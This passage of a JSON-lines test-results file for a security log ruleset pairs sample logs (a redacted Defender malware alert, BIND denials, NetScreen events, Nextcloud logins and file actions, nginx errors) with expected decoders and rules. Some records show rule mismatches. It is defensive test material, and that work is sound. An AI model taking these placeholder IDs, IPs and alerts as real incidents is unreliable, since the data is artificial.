"{\"integration\":\"ms-graph\",\"ms-graph\":{\"id\":\"11111111-2222-3333-4444-555555555555_3\",\"providerAlertId\":\"11111111-2222-3333-4444-555555555555_3\",\"incidentId\":\"INC-12345\",\"status\":\"resolved\",\"severity\":\"informational\",\"classification\":null,\"determination\":null,\"serviceSource\":\"microsoftDefenderForEndpoint\",\"detectionSource\":\"antivirus\",\"productName\":\"Microsoft Defender for Endpoint\",\"detectorId\":\"aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee\",\"tenantId\":\"ffffffff-1111-2222-3333-444444444444\",\"title\":\"'Example' malware was detected\",\"description\":\"Redacted example description.\",\"recommendedActions\":\"Redacted example recommendations.\",\"category\":\"Malware\",\"assignedTo\":null,\"alertWebUrl\":\"https://security.microsoft.com/alerts/11111111-2222-3333-4444-555555555555_3?tid=ffffffff-1111-2222-3333-444444444444\",\"incidentWebUrl\":\"https://security.microsoft.com/incidents/INC-12345/overview?tid=ffffffff-1111-2222-3333-444444444444\",\"actorDisplayName\":null,\"threatDisplayName\":\"Trojan:Win32/Example!pz\",\"threatFamilyName\":\"Example\",\"mitreTechniques\":[],\"createdDateTime\":\"2026-01-13T17:30:17.1666667Z\",\"lastUpdateDateTime\":\"2026-01-13T17:30:54.2633333Z\",\"resolvedDateTime\":null,\"firstActivityDateTime\":\"2026-01-13T17:18:53.041636Z\",\"lastActivityDateTime\":\"2026-01-13T17:18:53.041636Z\",\"systemTags\":[],\"alertPolicyId\":null,\"investigationState\":\"terminatedBySystem\",\"comments\":[],\"customDetails\":{},\"evidence\":[],\"additionalData\":{},\"resource\":\"security\",\"relationship\":\"alerts_v2\"}}", "decoder": "json-msgraph", "parent": "", "fields": {"integration": "ms-graph", "ms-graph.alertWebUrl": "https://security.microsoft.com/alerts/11111111-2222-3333-4444-555555555555_3?tid=ffffffff-1111-2222-3333-444444444444", "ms-graph.category": "Malware", "ms-graph.comments": "[]", "ms-graph.createdDateTime": "2026-01-13T17:30:17.1666667Z", "ms-graph.description": "Redacted example description.", "ms-graph.detectionSource": "antivirus", "ms-graph.detectorId": "aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee", "ms-graph.evidence": "[]", "ms-graph.firstActivityDateTime": "2026-01-13T17:18:53.041636Z", "ms-graph.id": "11111111-2222-3333-4444-555555555555_3", "ms-graph.incidentId": "INC-12345", "ms-graph.incidentWebUrl": "https://security.microsoft.com/incidents/INC-12345/overview?tid=ffffffff-1111-2222-3333-444444444444", "ms-graph.investigationState": "terminatedBySystem", "ms-graph.lastActivityDateTime": "2026-01-13T17:18:53.041636Z", "ms-graph.lastUpdateDateTime": "2026-01-13T17:30:54.2633333Z", "ms-graph.mitreTechniques": "[]", "ms-graph.productName": "Microsoft Defender for Endpoint", "ms-graph.providerAlertId": "11111111-2222-3333-4444-555555555555_3", "ms-graph.recommendedActions": "Redacted example recommendations.", "ms-graph.relationship": "alerts_v2", "ms-graph.resource": "security", "ms-graph.serviceSource": "microsoftDefenderForEndpoint", "ms-graph.severity": "informational", "ms-graph.status": "resolved", "ms-graph.systemTags": "[]", "ms-graph.tenantId": "ffffffff-1111-2222-3333-444444444444", "ms-graph.threatDisplayName": "Trojan:Win32/Example!pz", "ms-graph.threatFamilyName": "Example", "ms-graph.title": "'Example' malware was detected"}, "field_names": ["integration", "ms-graph.alertWebUrl", "ms-graph.category", "ms-graph.comments", "ms-graph.createdDateTime", "ms-graph.description", "ms-graph.detectionSource", "ms-graph.detectorId", "ms-graph.evidence", "ms-graph.firstActivityDateTime", "ms-graph.id", "ms-graph.incidentId", "ms-graph.incidentWebUrl", "ms-graph.investigationState", "ms-graph.lastActivityDateTime", "ms-graph.lastUpdateDateTime", "ms-graph.mitreTechniques", "ms-graph.productName", "ms-graph.providerAlertId", "ms-graph.recommendedActions", "ms-graph.relationship", "ms-graph.resource", "ms-graph.serviceSource", "ms-graph.severity", "ms-graph.status", "ms-graph.systemTags", "ms-graph.tenantId", "ms-graph.threatDisplayName", "ms-graph.threatFamilyName", "ms-graph.title"], "rule": "99633", "level": "3", "expected_decoder": "json-msgraph", "expected_rule": "99633", "rule_matches_expected": true, "ini_file": "ms-graph.ini", "section": "msgraph resolved"} +{"log": "Aug 29 15:33:13 ns3 named[464]: client 217.148.39.3#1036: query (cache) denied", "decoder": "named", "parent": "named", "fields": {"srcip": "217.148.39.3"}, "field_names": ["srcip"], "rule": "12108", "level": "5", "expected_decoder": "named", "expected_rule": "12108", "rule_matches_expected": true, "ini_file": "named.ini", "section": "Query cache denied"} +{"log": "Aug 29 15:33:13 ns3 named[464]: client 217.148.39.4#32769: query (cache) denied", "decoder": "named", "parent": "named", "fields": {"srcip": "217.148.39.4"}, "field_names": ["srcip"], "rule": "12108", "level": "5", "expected_decoder": "named", "expected_rule": "12108", "rule_matches_expected": true, "ini_file": "named.ini", "section": "Query cache denied"} +{"log": "Aug 29 15:33:13 ns3 named[464]: client 217.148.39.3#1036: query (cache) denied", "decoder": "named", "parent": "named", "fields": {"srcip": "217.148.39.3"}, "field_names": ["srcip"], "rule": "12108", "level": "5", "expected_decoder": "named", "expected_rule": "12108", "rule_matches_expected": true, "ini_file": "named.ini", "section": "Query cache denied"} +{"log": "Aug 29 15:33:13 ns3 named[464]: client 217.148.39.3#1036: query (cache)", "decoder": "named", "parent": "named", "fields": {"srcip": "217.148.39.3"}, "field_names": ["srcip"], "rule": "12108", "level": "5", "expected_decoder": "named", "expected_rule": "12108", "rule_matches_expected": true, "ini_file": "named.ini", "section": "Query cache denied"} +{"log": "2014-05-23T10:25:58.681222-04:00 10.10.10.1 ssg5-serial: NetScreen device_id=0275112227993284 [Root]system-information-00767: System configuration saved by netscreen via web from host 10.10.10.101 to 10.10.10.1:443 by netscreen. (2014-05-23 10:58:17)", "decoder": "netscreenfw", "parent": "", "fields": {"action": "information", "id": "00767"}, "field_names": ["action", "id"], "rule": "4509", "level": "8", "expected_decoder": "netscreenfw", "expected_rule": "4509", "rule_matches_expected": true, "ini_file": "netscreen.ini", "section": "Firewall configuration changed."} +{"log": "2014-05-23T10:29:55.704201-04:00 10.10.10.1 ssg5-serial: NetScreen device_id=0275112227993284 [Root]system-notification-00018: Policy (5, Trust->Untrust, 10.10.10.0/24->172.16.19.0/24,ANY, Permit) was modified by netscreen via web from host 10.10.10.101 to 10.10.10.1:443. (2014-05-23 11:02:13)", "decoder": "netscreenfw", "parent": "", "fields": {"action": "notification", "id": "00018"}, "field_names": ["action", "id"], "rule": "4508", "level": "8", "expected_decoder": "netscreenfw", "expected_rule": "4508", "rule_matches_expected": true, "ini_file": "netscreen.ini", "section": "Firewall policy changed."} +{"log": "2014-05-23T10:39:20.681154-04:00 10.10.10.1 ssg5-serial: NetScreen device_id=0275112227993284 [Root]system-warning-00515: Management session via SSH from 10.10.10.100:0 for admin netscreen has timed out (2014-05-23 11:11:39)", "decoder": "netscreenfw", "parent": "", "fields": {"action": "warning", "id": "00515"}, "field_names": ["action", "id"], "rule": "4507", "level": "8", "expected_decoder": "netscreenfw", "expected_rule": "4507", "rule_matches_expected": true, "ini_file": "netscreen.ini", "section": "Successfull admin login to the Netscreen firewall"} +{"log": "Jul 7 05:02:34 ssg5.17.168.192.in-addr.arpa ssg5: NetScreen device_id=ssg5 [Root]system-emergency-00005: SYN flood! From 192.168.18.53:41437 to 192.168.17.251:9612, proto TCP (zone Untrust int ethernet0/0). Occurred 1 times. (2016-07-07 05:02:32)", "decoder": "netscreenfw", "parent": "netscreenfw", "fields": {"action": "emergency", "id": "00005", "srcip": "192.168.18.53:41437"}, "field_names": ["action", "id", "srcip"], "rule": "4560", "level": "3", "expected_decoder": "netscreenfw", "expected_rule": "4560", "rule_matches_expected": true, "ini_file": "netscreen.ini", "section": "syn flood"} +{"log": "{\"reqId\":\"XaQ6ehNN-waxXQIsoJHOSgAAAAE\",\"level\":2,\"time\":\"October 14, 2019 09:06:02\",\"remoteAddr\":\"127.0.0.1\",\"user\":\"--\",\"app\":\"core\",\"method\":\"POST\",\"url\":\"\\/index.php\\/login\",\"message\":\"Login failed: 'admin' (Remote IP: '10.3.2.2')\",\"userAgent\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/77.0.3865.120 Safari\\/537.36\",\"version\":\"16.0.5.1\",\"@source\":\"NextCloud\"}", "decoder": "json", "parent": "", "fields": {"app": "core", "dstuser": "--", "level": "2", "message": "Login failed: 'admin' (Remote IP: '10.3.2.2')", "method": "POST", "remoteAddr": "127.0.0.1", "reqId": "XaQ6ehNN-waxXQIsoJHOSgAAAAE", "time": "October 14, 2019 09:06:02", "url": "/index.php/login", "userAgent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36", "version": "16.0.5.1"}, "field_names": ["app", "dstuser", "level", "message", "method", "remoteAddr", "reqId", "time", "url", "userAgent", "version"], "rule": "88212", "level": "6", "expected_decoder": "json", "expected_rule": "88203", "rule_matches_expected": false, "ini_file": "nextcloud.ini", "section": "NextCloud Brute force"} +{"log": "{\"reqId\":\"XaQ6ehNN-waxXQIsoJHOSgAAAAE\",\"level\":2,\"time\":\"October 14, 2019 09:06:02\",\"remoteAddr\":\"127.0.0.1\",\"user\":\"--\",\"app\":\"core\",\"method\":\"POST\",\"url\":\"\\/index.php\\/login\",\"message\":\"Login failed: 'admin' (Remote IP: '10.3.2.2')\",\"userAgent\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/77.0.3865.120 Safari\\/537.36\",\"version\":\"16.0.5.1\",\"@source\":\"NextCloud\"}", "decoder": "json", "parent": "", "fields": {"app": "core", "dstuser": "--", "level": "2", "message": "Login failed: 'admin' (Remote IP: '10.3.2.2')", "method": "POST", "remoteAddr": "127.0.0.1", "reqId": "XaQ6ehNN-waxXQIsoJHOSgAAAAE", "time": "October 14, 2019 09:06:02", "url": "/index.php/login", "userAgent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36", "version": "16.0.5.1"}, "field_names": ["app", "dstuser", "level", "message", "method", "remoteAddr", "reqId", "time", "url", "userAgent", "version"], "rule": "88212", "level": "6", "expected_decoder": "json", "expected_rule": "88203", "rule_matches_expected": false, "ini_file": "nextcloud.ini", "section": "NextCloud Brute force"} +{"log": "{\"reqId\":\"XaQ6ehNN-waxXQIsoJHOSgAAAAE\",\"level\":2,\"time\":\"October 14, 2019 09:06:02\",\"remoteAddr\":\"127.0.0.1\",\"user\":\"--\",\"app\":\"core\",\"method\":\"POST\",\"url\":\"\\/index.php\\/login\",\"message\":\"Login failed: 'admin' (Remote IP: '10.3.2.2')\",\"userAgent\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/77.0.3865.120 Safari\\/537.36\",\"version\":\"16.0.5.1\",\"@source\":\"NextCloud\"}", "decoder": "json", "parent": "", "fields": {"app": "core", "dstuser": "--", "level": "2", "message": "Login failed: 'admin' (Remote IP: '10.3.2.2')", "method": "POST", "remoteAddr": "127.0.0.1", "reqId": "XaQ6ehNN-waxXQIsoJHOSgAAAAE", "time": "October 14, 2019 09:06:02", "url": "/index.php/login", "userAgent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36", "version": "16.0.5.1"}, "field_names": ["app", "dstuser", "level", "message", "method", "remoteAddr", "reqId", "time", "url", "userAgent", "version"], "rule": "88212", "level": "6", "expected_decoder": "json", "expected_rule": "88203", "rule_matches_expected": false, "ini_file": "nextcloud.ini", "section": "NextCloud Brute force"} +{"log": "{\"reqId\":\"XaQ6ehNN-waxXQIsoJHOSgAAAAE\",\"level\":2,\"time\":\"October 14, 2019 09:06:02\",\"remoteAddr\":\"127.0.0.1\",\"user\":\"--\",\"app\":\"core\",\"method\":\"POST\",\"url\":\"\\/index.php\\/login\",\"message\":\"Login failed: 'admin' (Remote IP: '10.3.2.2')\",\"userAgent\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/77.0.3865.120 Safari\\/537.36\",\"version\":\"16.0.5.1\",\"@source\":\"NextCloud\"}", "decoder": "json", "parent": "", "fields": {"app": "core", "dstuser": "--", "level": "2", "message": "Login failed: 'admin' (Remote IP: '10.3.2.2')", "method": "POST", "remoteAddr": "127.0.0.1", "reqId": "XaQ6ehNN-waxXQIsoJHOSgAAAAE", "time": "October 14, 2019 09:06:02", "url": "/index.php/login", "userAgent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36", "version": "16.0.5.1"}, "field_names": ["app", "dstuser", "level", "message", "method", "remoteAddr", "reqId", "time", "url", "userAgent", "version"], "rule": "88212", "level": "6", "expected_decoder": "json", "expected_rule": "88203", "rule_matches_expected": false, "ini_file": "nextcloud.ini", "section": "NextCloud Brute force"} +{"log": "{\"reqId\":\"XaQ6ehNN-waxXQIsoJHOSgAAAAE\",\"level\":2,\"time\":\"October 14, 2019 09:06:02\",\"remoteAddr\":\"127.0.0.1\",\"user\":\"--\",\"app\":\"core\",\"method\":\"POST\",\"url\":\"\\/index.php\\/login\",\"message\":\"Login failed: 'admin' (Remote IP: '10.3.2.2')\",\"userAgent\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/77.0.3865.120 Safari\\/537.36\",\"version\":\"16.0.5.1\",\"@source\":\"NextCloud\"}", "decoder": "json", "parent": "", "fields": {"app": "core", "dstuser": "--", "level": "2", "message": "Login failed: 'admin' (Remote IP: '10.3.2.2')", "method": "POST", "remoteAddr": "127.0.0.1", "reqId": "XaQ6ehNN-waxXQIsoJHOSgAAAAE", "time": "October 14, 2019 09:06:02", "url": "/index.php/login", "userAgent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36", "version": "16.0.5.1"}, "field_names": ["app", "dstuser", "level", "message", "method", "remoteAddr", "reqId", "time", "url", "userAgent", "version"], "rule": "88212", "level": "6", "expected_decoder": "json", "expected_rule": "88203", "rule_matches_expected": false, "ini_file": "nextcloud.ini", "section": "NextCloud Brute force"} +{"log": "{\"reqId\":\"XaQ6ehNN-waxXQIsoJHOSgAAAAE\",\"level\":2,\"time\":\"October 14, 2019 09:06:02\",\"remoteAddr\":\"127.0.0.1\",\"user\":\"--\",\"app\":\"core\",\"method\":\"POST\",\"url\":\"\\/index.php\\/login\",\"message\":\"Login failed: 'admin' (Remote IP: '10.3.2.2')\",\"userAgent\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/77.0.3865.120 Safari\\/537.36\",\"version\":\"16.0.5.1\",\"@source\":\"NextCloud\"}", "decoder": "json", "parent": "", "fields": {"app": "core", "dstuser": "--", "level": "2", "message": "Login failed: 'admin' (Remote IP: '10.3.2.2')", "method": "POST", "remoteAddr": "127.0.0.1", "reqId": "XaQ6ehNN-waxXQIsoJHOSgAAAAE", "time": "October 14, 2019 09:06:02", "url": "/index.php/login", "userAgent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36", "version": "16.0.5.1"}, "field_names": ["app", "dstuser", "level", "message", "method", "remoteAddr", "reqId", "time", "url", "userAgent", "version"], "rule": "88212", "level": "6", "expected_decoder": "json", "expected_rule": "88203", "rule_matches_expected": false, "ini_file": "nextcloud.ini", "section": "NextCloud Brute force"} +{"log": "{\"reqId\":\"XaQ6ehNN-waxXQIsoJHOSgAAAAE\",\"level\":2,\"time\":\"October 14, 2019 09:06:02\",\"remoteAddr\":\"127.0.0.1\",\"user\":\"--\",\"app\":\"core\",\"method\":\"POST\",\"url\":\"\\/index.php\\/login\",\"message\":\"Login failed: 'admin' (Remote IP: '10.3.2.2')\",\"userAgent\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/77.0.3865.120 Safari\\/537.36\",\"version\":\"16.0.5.1\",\"@source\":\"NextCloud\"}", "decoder": "json", "parent": "", "fields": {"app": "core", "dstuser": "--", "level": "2", "message": "Login failed: 'admin' (Remote IP: '10.3.2.2')", "method": "POST", "remoteAddr": "127.0.0.1", "reqId": "XaQ6ehNN-waxXQIsoJHOSgAAAAE", "time": "October 14, 2019 09:06:02", "url": "/index.php/login", "userAgent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36", "version": "16.0.5.1"}, "field_names": ["app", "dstuser", "level", "message", "method", "remoteAddr", "reqId", "time", "url", "userAgent", "version"], "rule": "88212", "level": "6", "expected_decoder": "json", "expected_rule": "88203", "rule_matches_expected": false, "ini_file": "nextcloud.ini", "section": "NextCloud Brute force"} +{"log": "{\"reqId\":\"XaQ6ehNN-waxXQIsoJHOSgAAAAE\",\"level\":2,\"time\":\"October 14, 2019 09:06:02\",\"remoteAddr\":\"127.0.0.1\",\"user\":\"--\",\"app\":\"core\",\"method\":\"POST\",\"url\":\"\\/index.php\\/login\",\"message\":\"Login failed: 'admin' (Remote IP: '10.3.2.2')\",\"userAgent\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/77.0.3865.120 Safari\\/537.36\",\"version\":\"16.0.5.1\",\"@source\":\"NextCloud\"}", "decoder": "json", "parent": "", "fields": {"app": "core", "dstuser": "--", "level": "2", "message": "Login failed: 'admin' (Remote IP: '10.3.2.2')", "method": "POST", "remoteAddr": "127.0.0.1", "reqId": "XaQ6ehNN-waxXQIsoJHOSgAAAAE", "time": "October 14, 2019 09:06:02", "url": "/index.php/login", "userAgent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36", "version": "16.0.5.1"}, "field_names": ["app", "dstuser", "level", "message", "method", "remoteAddr", "reqId", "time", "url", "userAgent", "version"], "rule": "88203", "level": "10", "expected_decoder": "json", "expected_rule": "88203", "rule_matches_expected": true, "ini_file": "nextcloud.ini", "section": "NextCloud Brute force"} +{"log": "{\"reqId\":\"XaCAfP1v4@1xpIqlElMIVgAAAAk\",\"level\":1,\"time\":\"October 11, 2019 13:15:40\",\"remoteAddr\":\"127.0.0.1\",\"user\":\"admin\",\"app\":\"admin_audit\",\"method\":\"GET\",\"url\":\"\\/index.php\\/logout?requesttoken=RPYdKvrWwtB859EZQyfK%2F2DIu5l7HAqMrrNlcMzKoaM%3D%3AFLdvYq6atZJKgeFgEUSglQql0fsQaCHD68EjFKicleg%3D\",\"message\":\"Logout occurred\",\"userAgent\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/77.0.3865.120 Safari\\/537.36\",\"version\":\"16.0.5.1\",\"@source\":\"NextCloud\"}", "decoder": "json", "parent": "", "fields": {"app": "admin_audit", "dstuser": "admin", "level": "1", "message": "Logout occurred", "method": "GET", "remoteAddr": "127.0.0.1", "reqId": "XaCAfP1v4@1xpIqlElMIVgAAAAk", "time": "October 11, 2019 13:15:40", "url": "/index.php/logout?requesttoken=RPYdKvrWwtB859EZQyfK%2F2DIu5l7HAqMrrNlcMzKoaM%3D%3AFLdvYq6atZJKgeFgEUSglQql0fsQaCHD68EjFKicleg%3D", "userAgent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36", "version": "16.0.5.1"}, "field_names": ["app", "dstuser", "level", "message", "method", "remoteAddr", "reqId", "time", "url", "userAgent", "version"], "rule": "88210", "level": "3", "expected_decoder": "json", "expected_rule": "88210", "rule_matches_expected": true, "ini_file": "nextcloud.ini", "section": "NextCloud logout successful."} +{"log": "{\"reqId\":\"XaQ6fxNN-waxXQIsoJHOTQAAAAE\",\"level\":1,\"time\":\"October 14, 2019 09:06:07\",\"remoteAddr\":\"127.0.0.1\",\"user\":\"admin\",\"app\":\"admin_audit\",\"method\":\"POST\",\"url\":\"\\/index.php\\/login?user=admin\",\"message\":\"Login successful: \\\"admin\\\"\",\"userAgent\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/77.0.3865.120 Safari\\/537.36\",\"version\":\"16.0.5.1\",\"@source\":\"NextCloud\"}", "decoder": "json", "parent": "", "fields": {"app": "admin_audit", "dstuser": "admin", "level": "1", "message": "Login successful: \"admin\"", "method": "POST", "remoteAddr": "127.0.0.1", "reqId": "XaQ6fxNN-waxXQIsoJHOTQAAAAE", "time": "October 14, 2019 09:06:07", "url": "/index.php/login?user=admin", "userAgent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36", "version": "16.0.5.1"}, "field_names": ["app", "dstuser", "level", "message", "method", "remoteAddr", "reqId", "time", "url", "userAgent", "version"], "rule": "88211", "level": "3", "expected_decoder": "json", "expected_rule": "88211", "rule_matches_expected": true, "ini_file": "nextcloud.ini", "section": "NextCloud authentication successful."} +{"log": "{\"reqId\":\"XaQ6ehNN-waxXQIsoJHOSgAAAAE\",\"level\":2,\"time\":\"October 14, 2019 09:06:02\",\"remoteAddr\":\"127.0.0.1\",\"user\":\"--\",\"app\":\"core\",\"method\":\"POST\",\"url\":\"\\/index.php\\/login\",\"message\":\"Login failed: 'admin' (Remote IP: '10.3.2.2')\",\"userAgent\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/77.0.3865.120 Safari\\/537.36\",\"version\":\"16.0.5.1\",\"@source\":\"NextCloud\"}", "decoder": "json", "parent": "", "fields": {"app": "core", "dstuser": "--", "level": "2", "message": "Login failed: 'admin' (Remote IP: '10.3.2.2')", "method": "POST", "remoteAddr": "127.0.0.1", "reqId": "XaQ6ehNN-waxXQIsoJHOSgAAAAE", "time": "October 14, 2019 09:06:02", "url": "/index.php/login", "userAgent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36", "version": "16.0.5.1"}, "field_names": ["app", "dstuser", "level", "message", "method", "remoteAddr", "reqId", "time", "url", "userAgent", "version"], "rule": "88212", "level": "6", "expected_decoder": "json", "expected_rule": "88212", "rule_matches_expected": true, "ini_file": "nextcloud.ini", "section": "NextCloud authentication failed."} +{"log": "{\"reqId\":\"XaCDUP1v4@1xpIqlElMIaQAAAAk\",\"level\":1,\"time\":\"October 11, 2019 13:27:44\",\"remoteAddr\":\"127.0.0.1\",\"user\":\"admin\",\"app\":\"admin_audit\",\"method\":\"GET\",\"url\":\"\\/remote.php\\/webdav\\/Nextcloud%20Manual.pdf\",\"message\":\"File accessed: \\\"\\/Nextcloud Manual.pdf\\\"\",\"userAgent\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/77.0.3865.120 Safari\\/537.36\",\"version\":\"16.0.5.1\",\"@source\":\"NextCloud\"}", "decoder": "json", "parent": "", "fields": {"app": "admin_audit", "dstuser": "admin", "level": "1", "message": "File accessed: \"/Nextcloud Manual.pdf\"", "method": "GET", "remoteAddr": "127.0.0.1", "reqId": "XaCDUP1v4@1xpIqlElMIaQAAAAk", "time": "October 11, 2019 13:27:44", "url": "/remote.php/webdav/Nextcloud%20Manual.pdf", "userAgent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36", "version": "16.0.5.1"}, "field_names": ["app", "dstuser", "level", "message", "method", "remoteAddr", "reqId", "time", "url", "userAgent", "version"], "rule": "88213", "level": "3", "expected_decoder": "json", "expected_rule": "88213", "rule_matches_expected": true, "ini_file": "nextcloud.ini", "section": "NextCloud file accessed."} +{"log": "{\"reqId\":\"XaCDuMT03XAQReilx1Z76QAAAAU\",\"level\":1,\"time\":\"October 11, 2019 13:29:28\",\"remoteAddr\":\"127.0.0.1\",\"user\":\"admin\",\"app\":\"admin_audit\",\"method\":\"PUT\",\"url\":\"\\/remote.php\\/webdav\\/logo.jpg\",\"message\":\"File created: \\\"\\/\\/logo.jpg\\\"\",\"userAgent\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/77.0.3865.120 Safari\\/537.36\",\"version\":\"16.0.5.1\",\"@source\":\"NextCloud\"}", "decoder": "json", "parent": "", "fields": {"app": "admin_audit", "dstuser": "admin", "level": "1", "message": "File created: \"//logo.jpg\"", "method": "PUT", "remoteAddr": "127.0.0.1", "reqId": "XaCDuMT03XAQReilx1Z76QAAAAU", "time": "October 11, 2019 13:29:28", "url": "/remote.php/webdav/logo.jpg", "userAgent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36", "version": "16.0.5.1"}, "field_names": ["app", "dstuser", "level", "message", "method", "remoteAddr", "reqId", "time", "url", "userAgent", "version"], "rule": "88214", "level": "3", "expected_decoder": "json", "expected_rule": "88214", "rule_matches_expected": true, "ini_file": "nextcloud.ini", "section": "NextCloud file created."} +{"log": "{\"reqId\":\"XaCDX3wkGUtETLC8cVWzdwAAAAI\",\"level\":1,\"time\":\"October 11, 2019 13:27:59\",\"remoteAddr\":\"127.0.0.1\",\"user\":\"admin\",\"app\":\"admin_audit\",\"method\":\"DELETE\",\"url\":\"\\/remote.php\\/dav\\/files\\/admin\\/logo.png\",\"message\":\"File deleted: \\\"\\/logo.png\\\"\",\"userAgent\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/77.0.3865.120 Safari\\/537.36\",\"version\":\"16.0.5.1\",\"@source\":\"NextCloud\"}", "decoder": "json", "parent": "", "fields": {"app": "admin_audit", "dstuser": "admin", "level": "1", "message": "File deleted: \"/logo.png\"", "method": "DELETE", "remoteAddr": "127.0.0.1", "reqId": "XaCDX3wkGUtETLC8cVWzdwAAAAI", "time": "October 11, 2019 13:27:59", "url": "/remote.php/dav/files/admin/logo.png", "userAgent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36", "version": "16.0.5.1"}, "field_names": ["app", "dstuser", "level", "message", "method", "remoteAddr", "reqId", "time", "url", "userAgent", "version"], "rule": "88215", "level": "3", "expected_decoder": "json", "expected_rule": "88215", "rule_matches_expected": true, "ini_file": "nextcloud.ini", "section": "NextCloud file deleted."} +{"log": "{\"reqId\":\"XaCCwMT03XAQReilx1Z75gAAAAU\",\"level\":1,\"time\":\"October 11, 2019 13:25:20\",\"remoteAddr\":\"127.0.0.1\",\"user\":\"admin\",\"app\":\"admin_audit\",\"method\":\"GET\",\"url\":\"\\/index.php\\/core\\/preview?fileId=1780&x=1920&y=1080&a=true\",\"message\":\"Preview accessed: \\\"\\/logo.png\\\" (width: \\\"1920\\\", height: \\\"1080\\\" crop: \\\"\\\", mode: \\\"fill\\\")\",\"userAgent\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/77.0.3865.120 Safari\\/537.36\",\"version\":\"16.0.5.1\",\"@source\":\"NextCloud\"}", "decoder": "json", "parent": "", "fields": {"app": "admin_audit", "dstuser": "admin", "level": "1", "message": "Preview accessed: \"/logo.png\" (width: \"1920\", height: \"1080\" crop: \"\", mode: \"fill\")", "method": "GET", "remoteAddr": "127.0.0.1", "reqId": "XaCCwMT03XAQReilx1Z75gAAAAU", "time": "October 11, 2019 13:25:20", "url": "/index.php/core/preview?fileId=1780&x=1920&y=1080&a=true", "userAgent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36", "version": "16.0.5.1"}, "field_names": ["app", "dstuser", "level", "message", "method", "remoteAddr", "reqId", "time", "url", "userAgent", "version"], "rule": "88216", "level": "3", "expected_decoder": "json", "expected_rule": "88216", "rule_matches_expected": true, "ini_file": "nextcloud.ini", "section": "NextCloud preview accessed."} +{"log": "2014/12/30 06:07:37 [yadda] 80:2 yadda yadda", "decoder": "nginx-errorlog", "parent": "", "fields": {}, "field_names": [], "rule": "31300", "level": "0", "expected_decoder": "nginx-errorlog", "expected_rule": "31300", "rule_matches_expected": true, "ini_file": "nginx.ini", "section": "Nginx messages grouped."} +{"log": "2014/12/30 06:07:37 [error] 80:2 yadda yadda", "decoder": "nginx-errorlog", "parent": "", "fields": {}, "field_names": [], "rule": "31301", "level": "3", "expected_decoder": "nginx-errorlog", "expected_rule": "31301", "rule_matches_expected": true, "ini_file": "nginx.ini", "section": "Nginx error message."} +{"log": "2014/12/30 06:07:37 [warn] 80:2 yadda yadda", "decoder": "nginx-errorlog", "parent": "", "fields": {}, "field_names": [], "rule": "31302", "level": "3", "expected_decoder": "nginx-errorlog", "expected_rule": "31302", "rule_matches_expected": true, "ini_file": "nginx.ini", "section": "Nginx warning message."} +{"log": "2014/12/30 06:07:37 [crit] 80:2", "decoder": "nginx-errorlog", "parent": "", "fields": {}, "field_names": [], "rule": "31303", "level": 